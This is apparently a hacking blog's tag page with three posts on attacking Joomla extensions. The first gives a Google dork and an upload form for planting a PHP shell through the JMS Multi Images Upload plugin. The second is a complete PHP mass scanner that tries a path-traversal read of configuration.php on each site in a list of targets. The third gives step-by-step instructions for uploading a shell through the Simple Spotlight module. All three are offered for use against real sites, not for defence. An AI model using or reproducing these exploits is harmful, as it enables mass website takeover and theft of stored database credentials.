Showing posts with label joomla. Show all posts
Showing posts with label joomla. Show all posts
Saturday, February 25, 2017
Joomla JMS Multi Images Upload for Virtuemart File Upload
Joomla JMS Multi Images Upload for Virtuemart File Upload
#- Author: AnoaGhost
#- Date: 27/05/2016
#- Developer : JMS
#- Link Download : extensions. joomla. org/extension/jms-multi-images-upload-for-virtuemart
#- Google Dork: inurl:"/system/jms_multiupload_virtuemart/"
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --
Description :
Virtuemart is a good shopping component but when you have a big store, each product has so much images, time for upload images for products will be much, sometimes you feel tired because have to upload one image-saving, then upload one image – saving….
Featured of plugin:
- Browse multi images one time and upload them for product.
- Ajax upload images.
- Automatically create thumbnails for those images.
- No hack core Virtuemart.
- Browse multi images one time and upload them for product.
- Ajax upload images.
- Automatically create thumbnails for those images.
- No hack core Virtuemart.
Vulnerability : site/plugins/system/jms_multiupload_virtuemart/assets/server/php/
CSRF
<form method="POST" action="3xploi7.blogspot/plugins/system/jms_multiupload_virtuemart/assets/server/php/"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>3xploi7ed!</button>
</form>
Format Shell > php
If Succesfully
Need Shell Path ? Click Here
Available link for download
Thursday, February 2, 2017
Joomla HDFLVPlayer LFD Mass Scanner
Joomla HDFLVPlayer LFD Mass Scanner
# Coded by : Synchronizer
# Blog : annamcoder. tk
# Type : PHP
Code :
<!--
Coded By Synchronizer
Facebook : http://facebook.com/annam.go.id
im not hacker :)
i just muslim people , yang kadang kadang coli sambil salto :)
-->
<html>
<title>Joomla HDFLVPlayer LFD Mass Scanner</title>
<style>
body {
background:#3E3939;
color:lime;
}
a {
text-decoration:none;
}
.keydown {
background:black;
color:lime;
width:300px;
height:30px;
border:1px solid lime;
}
.syn { background:#CEC018;border: 1px solid green;color: black;width:500px;}
td {
text-align:center;
padding:1px;
background:whitesmoke;
color: black;
}
</style>
<center><h1>Joomla HDFLVPlayer LFD Mass Scanner</h1>
<h4>coded by <a href="http://fb.com/annam.go.id"><font color=white>synchronizer</font></a></h4>
<form method="post" action="" enctype="multipart/form-data">
<textarea placeholder="your target without http:// => www.target.com" style="padding: 5px; resize: none; width: 500px; height: 200px; border: solid 2px #006400;" name="sites"></textarea><br>
<br><input type="submit" class="keydown" name="scan" value="START CHECKING !" style="margin: 5px auto;">
</form>
<?php
if(isset($_POST[sites])) {
$databro = $_POST[sites];
if(empty($databro)) {
echo WEBSITE LIST NOT FOUND, TEXT AREA CAN`T EMPTY<br><br><font color=yellow size=4>SCAN CANCELED !</font>;
}else {
echo<hr color=silver width=500px><br><table class="syn">
<tr>
<th>NO</th>
<th>WEBSITE</th>
<th>VULN</th>
<th>LINK</th>
</tr>
;
$no=1;
$site = explode(" ", $_POST[sites]);
$dana = str_replace(http://,,$site);
$wkwkwk = str_replace(https://,,$dana);
$totalsite = count($site);
foreach($wkwkwk as $sites) {
$path = "http://$sites/components/com_hdflvplayer/hdflvplayer/download.php?f=../../../configuration.php";
$gett=@file_get_contents($path);
if(preg_match(/class JConfig {/,$gett)==1) {
$status = "<font color=green>YES</font>";
$link = "<a href=http://$sites/components/com_hdflvplayer/hdflvplayer/download.php?f=../../../configuration.php target=_blank>CLICK HERE</a>";}
else{
$status = "<font color=red>NO</font>";
$link = "NOT AVAILABLE";
}
echo
<center><tr>
<td>.$no.</td>
<td>.$sites.</td>
<td>.$status.</td>
<td>.$link.</td>
</tr></center>
;
$no++;
}
echo</table><br><Br>;
echo TOTAL WEBSITE CHECKED : .$totalsite;
echo </center>;
}
}
?>
Available link for download
Sunday, January 22, 2017
Joomla 2 5 Modules Simple Spotlight Upload Shell Old 3xploi7
Joomla 2 5 Modules Simple Spotlight Upload Shell Old 3xploi7
#- Title: Joomla 2.5 Modules Simple Spotlight Upload Shell
#- Author: BL4ckc0d1n6
#- Published : 3-22-2012
#- Developer : joomla
#- Link Download : extensions.joomla .org/extension/simple-spotlight
#- Price : Free
#- Google Dork: inurl:/modules/mod_ppc_simple_spotlight/
#- Google Dork: inurl:/modules/mod_ppc_simple_spotlight/
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --
Description :
Simple spotlight is a jQuery image rotator with navigation. You can have up to 20 images with links. You can turn off the navigation and choose between 27 effects for transition. It also has 5 button styles and a shadow effect.
Vulnerability :
site/path/modules/mod_ppc_simple_spotlight/elements/upload_file.php
site/path/modules/mod_ppc_simple_spotlight/elements/upload_file.php
Result : 13k +
When Vuln :
iSource :
<script language="JavaScript">
function refreshParent() {
window.close();
if (window.opener && !window.opener.closed) {
window.opener.location.reload();
}
}
</script>
<form name="newad" method="post" enctype="multipart/form-data" action="">
<table>
<tr>
<td>
<input type="file" name="image">
</td>
</tr>
<tr>
<td>
<input name="Submit" type="submit" value="Upload image">
<input type="button" value="Close" onclick="javascript: refreshParent()">
</td>
</tr>
</table>
</form>
~ Method ~
1. Site .com
2. add 3xploi7 = /modules/mod_ppc_simple_spotlight/elements/upload_file.php
3. Ex : Site .com/modules/mod_ppc_simple_spotlight/elements/upload_file.php
4. Upload your shell / imges / html file
If Succesfully >
Shell Acces ? Click Here
Available link for download
Subscribe to:
Posts (Atom)